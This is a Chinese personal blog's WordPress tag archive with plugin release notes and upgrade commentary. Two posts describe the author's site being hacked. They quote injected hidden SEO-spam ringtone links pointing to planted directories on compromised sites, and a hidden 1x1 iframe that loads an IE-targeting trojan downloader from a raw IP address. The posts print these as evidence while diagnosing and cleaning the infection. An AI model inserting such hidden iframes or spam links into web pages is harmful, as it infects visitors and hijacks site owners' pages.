Tag Archive for 'wordpress'

AutoSofa测试专用帖

写了个插件玩,效果嘛,眼尖的人想必已经看见了~
现在还在测试期,逐步完善后台的各项功能,暂不提供下载。
大家尽情玩吧,对楼层名称多提提意见哈,众人拾干柴烈火那啥啥嘛~

辛勤测试者、对楼层名称有重大贡献者Jerry有奖~

又被挂广告……

这是某位仁兄的文章里被注入的代码,看起来链到了我服务器上一个不该存在的目录。

  1. <u style="display:none"><a href="http://parkchurchdenver.org/wordpress/wp-content/themes/dark-3chemical/.pikas/index.php?file=sitemap1">sprint pcs ringtones download</a> <a href="http://www.humedome.net/blog/wp-content/plugins/wp-dtree/.sones/?name=sitemap1">motorola razr ringtones</a> <a href="http://www.karen-heinrichs.de/wp-content/plugins/audio-player/.filmsettin/index.php?str=sitemap1">download free sprint ringtones</a> <a href="http://blogs.webzonetalk.com/wp-content/plugins/akismet/.pentago/sitemap1.html">free ringtones maker download</a> <a href="http://bradstemke.com/bradstemke/.quahog/index.php?file=sitemap1">download free polyphonic ringtones</a> <a href="http://www.calles.co.uk/.roughcast/index.php?page=sitemap1">free ringtones converter</a> <a href="http://www.doublevk.com/blog/.xystoi/index.php?id=sitemap1">music real ringtones</a> <a href="http://www.zumac.ch/zumac/.decoloni/?page=sitemap1">free pcs ringtones sprint</a> <a href="http://football.blogpager.com/wp-content/themes/crimson_sunrise/.significan/?str=sitemap1">cheap virgin mobile ringtones</a> <a href="http://janten.com/ajax/.norites/index.php?name=sitemap1">virgin mobile usa ringtones</a> <a href="http://bluebirdshome.com/wp-admin/.conduits/?str=sitemap1">free motorola ringtones</a> <a href="http://www.technomagick.com/ElderWiki/serialized/.republi/index.php?id=sitemap1">free verizon real music ringtones</a> <a href="http://www.jerryhong.com/wp-admin/includes/.aardvark/index.php?id=sitemap1">celcom caller ringtones</a> <a href="http://playroi.com/wp-content/plugins/.gaslit/sitemap1.html">cell music onto phone ringtones</a> <a href="http://studyme.org/wp-content/plugins/firestats/js/.gimmal/index.php?file=sitemap1">cellular free one ringtones</a> <a href="http://www.yuyan.biz/wp-includes/js/tinymce/plugins/spellchecker/.palpal/sitemap1.html">get ringtones</a> <a href="http://blog.fiascofarm.com/wp-content/plugins/nextgen-gallery/admin/wp25/.holometab/?name=sitemap1">hotlink maxis caller ringtones</a> <a href="http://goodmorningfloridakeys.com/wp-content/themes/orangesky/orangesky/.motor/sitemap1.html">cheap virgin mobile ringtones</a> <a href="http://depechemode.us/wp-content/plugins/.bafflegab/index.php?name=sitemap1">ringtones converter</a> <a href="http://allyourtv.com/vivalaughlin/.goalposts/sitemap1.html">pcs ringtones sprint vision</a> </u>

删掉这个可恶的目录之后对其他的难兄难弟分析了一下,结论如下:

  • 可以排除k2的问题,因为他们都没用k2
  • 受害者无一例外使用wordpress
  • 攻击者可以挂到任何一个目录下,而且如果他愿意,应该可以很轻松地得到网站主人的密码
  • 我是在升到最新版本的wordpress(2.5.1)之后被挂上的,所以这个安全问题还是存在

Wordpress升到2.5,K2 Theme升到RC4

先说Wordpress 2.5,前台看不出什么变化,后台无比淡雅,几乎没图片,全是DIV+CSS,大对胃口。到底是6个月才更新一次的版本,特性一堆,玩都玩不过来,比较强大的有:

  • Widget可以Auto Update,会自动做下载、解包。
  • 媒体库的概念被引进。Wordpress当我们都是租主机的大财主……
  • 和以前的plugins compatiblity还不错,和Simple Tags有点小问题,不能显示已有TAGs了,另外还有些路径问题,估计有问题的Plugin很快就会更新吧……

K2 RC4,后台的Sidebar manager用户体验极棒,但是一些通用widget,比如recent comments,都用了K2自写的,不免和我HACK过的有点差距,于是干脆禁用SBM。此外更新的是些小问题,比如对IE7的支持,翻阅前几页记录时对页面位置的锁定什么的。总之对K2的正式版越来越期待了。

Wordpress=>2.3.3

wordpress升到了2.3.3,关于更新的内容Wordpress说

WordPress 2.3.3 is an urgent security release. A flaw was found in our XML-RPC implementation such that a specially crafted request would allow any valid user to edit posts of any other user on that blog. In addition to fixing this security flaw, 2.3.3 fixes a few minor bugs. If you are interested only in the security fix, download the fixed version of xmlrpc.php and copy it over your existing xmlrpc.php. Otherwise, you can get the entire release here.

这个XML-RPC的缺陷可以让任何用户修改BLOG文章的内容……也许这就可以解释前段时间出现的被注入的问题

最近尝试用jQuery+k2 template来限制越来越多的SPAM,有点效果。还好现在的SPAM全是comment型的,trackback型的只遇到过一次,前者还可以用禁止评论里有链接的方法来阻止,而后者就只能对某篇日志完全禁止Ping了……

成功让小黄花挂到自己的blog


乱逛中发现了这个新加坡人做的网站,
功能是根据rss得到某网站的更新再发送邮件到某个邮箱去。
嗯,这下可以把MSN的小黄花挂过来了。

1.去自己的space->选项->电子邮件发布
2.启用电子邮件发布,发件人填写rssfwd@rssfwd.com,机密字自己填写(例XXX),保存,去页面上第5步的地方把那个接收邮箱记下
3.去http://www.rssfwd.com,第一步填写自己blog的rss,可以为挂在feedburner上的,也可以为像我这样的:http://www.JerryHong.com/feed/
4.第二步把刚才记下的接收邮箱填进去
5.rssfwd应该会发一封确认信到你的blog去,去点一下就好了

这样子大家看小黄花就知道我的blog有没有更新了(当然前提是加了我的MSN- -b)。
定时刷新,延迟是难免的。
问题也有,space上的文章里信息太多,可能会被别人轻易地un-subscribe,可能在rssfwd上有设置吧。

PS:基于RSS的工具实在是丰富又好玩。不过……没难度……
怎么就没人做个plugin让人在写tags的时候可以看到已经有的tags啊!!!

试验让BLOG更新挂到校内上去,不过这个看来需要自己写程序了

关于卡巴6报本站有马的问题……

Wordpress有可能有还未解决的重大漏洞……
米米水和得失跟我说我的网站上有木马Trojan-Downloader.JS.Psyme.cz,开始时不在意,因为有人显示连www.baidu.com/[6]都有马……
然后查了下JS.Psyme,发现它有可能放在一个隐藏的IFrame里混入页面,有点紧张,在我首页的源代码里查找了一下,居然还真的在一篇文章里找到了这段代码:

  1. <!-- Traffic Statistics -->
  2. <iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
  3. <!-- End Traffic Statistics -->

嵌入的这个页面从文件名看很像是wp-stats插件使用的程序,但实际上完全不是。把它用IE和FIREFOX来看代码是不一样的,很明显会针对IE进行攻击。而61.132.75.71是哪里呢?江苏南京,这个域名的首页只显示一个字符串test,显然不怀好意。
不过这样一来目标就明显多了,搜索后发现有不少人也被注入,比如Xingsu
接下来在Wordpress官方浩大的问题库里找到这个帖子:iframe injection problem?,在Trac里则有这个:iframe being injected。由于所有人的iframe都是被加在了post里而非theme里,所以应该不会是theme exploit,那么就有可能是包括Wordpress 2.3.1都没有解决的一个漏洞导致了这种注入。具体在哪有漏洞可能只有拥有61.132.75.71这个IP的人才清楚。

眼下的解决方法只有在文章里搜索所有的隐藏IFrame然后删掉,至于更新前会不会再次被注入谁也不知道。反正备份看来是必须做的了。
感谢关心多多居的各位朋友,顺便BS一下我那个过分安静的卡巴6……

wordpress.com.cn

今天才看到这个使用Wordpress而且能够从大陆正常访问的BSP,但是……它居然已经成立两年了。
两年了,很可惜用户并不多。我半个小时前建的站居然现在还高居更新榜首位。都说现在开放了开放了,其实国内对国外的了解还是太少,更何况Wordpress的财力不是那些做出的博客千篇一律但一天到晚用名人效应拉用户的BSP能比的啊。
自己有网站了,当然不会把那个作为主要的。占个位而已。更何况在当前的历史环境下,BSP都太危险,不知哪天连新浪博客都会连接不上(除非主席去开博,嘿嘿)
不过还有更好玩的用途。那就是里面含的500个模板……在Omi的帮助下我筛我筛我筛筛筛最后的胜利者大家可以自己去看……
要开学了,人也多了,开心。

Wordpress Plugin: SimplePageNavi v1.0 release by Jerry

改变WORDPRESS原本换页方法的插件,效果为显示页码列表而非“上一页 下一页”
安装:不解释
使用:见E文

Change the page navigation way.
Installation: unzip & enable
Usage: open your template, find index.php
search for navigation part like this:

  1. <div class="alignleft"><?php next_posts_link('&laquo; 较旧文章') ?></div>
  2.             <div class="alignright"><?php previous_posts_link('较新文章 &raquo;') ?></div>

Replace it with this:

  1. <?php 
  2.             if(function_exists('SimplePageNavi') )
  3.                 SimplePageNavi();
  4.             else
  5.             {
  6.             ?>
  7.             <div class="alignleft"><?php next_posts_link('&laquo; 较旧文章') ?></div>
  8.             <div class="alignright"><?php previous_posts_link('较新文章 &raquo;') ?></div>
  9.             <?php
  10.             }
  11.             ?>

Quite easy, huh?
Download(338 times)

Wordpress Plugin: Download Counter v1.1 Released by Jerry 下载计数器

简单介绍下吧,此Plugin是基于VanguardDownload Counter v1.0来写的,作用是统计附件的下载次数,并让下载者看到此文件已被载过多少次(DISCUZ!的下载次数总看过吧)
安装过程就不解释了,下面E文里有,还是老样子,有问题请留言或发至hjrgenius (a) 163.com,欢迎讨论:)
这是第三个WP插件了,写完以后对WordPress的敬仰有如滔滔江水连绵不绝又如黄河泛滥一发不可收拾。用Wordpress的架构来只是做BLOG实在是可惜可惜!

Hello everyone, this is the third plugin that I've developed/hacked/enhanced/etc... and I'm supposed to use english to descript it this time:)
Download:
Download(412 times)
Description:
The download counter plugin helps you Count the times a file has been downloaded as well as some misc statistics. It also let downloaders know how many times the file has been downloaded by others.

I enhanced it based on Vanguard's Download Counter v1.0.

Installation:
Unzip the contents of the .zip file. Upload the folder 'DownloadCounter' to: WordPress_directory/wp-content/plugins
Make sure that, inside your plugin folder, there're 3 files: download.php, DownloadCounter.php and functions.inc.php
Go to your administration panel and activate this plugin.

Usage:
The plugin is now installed, all you have to do now is

  • 1.upload files via ftp or else.
  • 2.add files using this plugin's Administration panel.No special code is needed to be placed in any of your theme files. This plugin automatically generates a simple HTML code to use in your files.
  • 3.When you create/edit a post, there will be a button in the panel to let you add tags in the post. All you have to know is the id of the file(which can be got in administration panel of downloadcounter).
  • Then when the post is viewed, the tags will be automatically replaced with download link with the count of downloads.
  • If you have any problems, please leave a comment here or mail to hjrgenius (a) 163.com. Discussion is welcomed.
    Good luck!

    Wordpress Widget for ENHANCED XSPF Player Plugin (Wordpress音乐插件的Widget)

    一直很想给我的WP加个音乐插件,几经挑选决定使用XSPF Player,歌曲及分类信息放在数据库里,前台显示有4种模式,而且在后台还可以设置播放器宽度和高度,嗯,不错。

    载下来后发现是个non-widget版的,就是说要在页面中使用,必须禁用widget机制,修改template,虽然我还没发现widget到底除了设置方便外还有什么好处,不过这么非重用的方法显然要唾弃!

    然后决定凭这些天对WP的研究自己写个widget把它包含在侧边栏里。。结果是写出来了。。不过天亮了。。

    废话不说了,包含 Widget的XSPF Player Plugin:
    Download(901 times)

    安装说明:

    1. 解压.rar到plugins目录,这样你就会有个wp-content/plugins/xspf_player/目录了对吧
    2. 到admin界面,插件里把xspf_player和xspf_player-widget依次激活
    3. 到外观的Widgets里把xspf_player-widget拖上去!可以设置title
    4. 这时在主页里应该就有播放器栏了
    5. 顺便再把管理面板的位置介绍下吧,反正不想睡了^^对歌曲/分类管理是在管理->XSPF Player下,对外观管理是在选项->XSPF Player下(真不知道干嘛不做到一起去)

    Additional:

    This widget has been enhanced by others so that when a visiter open two posts of your blog, he/she will hear the same music!

    好了就是这样。

    不过有几个XSPF Player的小问题,如果作者不更新的话我就自己修改解决了

    1. 音量过大
    2. 不提供排序功能
    3. 放在数据库里是不是对效率影响太大?是不是不如作为变量放在.php文件里?(对PHP文件引用和数据库查询效率的疑问一直困扰我)
    4. 不能设置一首歌是否可以播放,如果你想暂时把它从播放列表上取下,唯一的办法就是删除它!

    另外给对XSPF Player的分类功能有兴趣的朋友一个Hint:其实可以默认选择只播放一个分类的,只不过要改PHP,而不是放在Wordpress的Options里,为了简化Widget的安装我就没有定制这个选项。

    如果有任何问题请回复或发邮件到hjrgenius(_a_)163.com,有任何更新我也会发布在这篇日志里,thanks!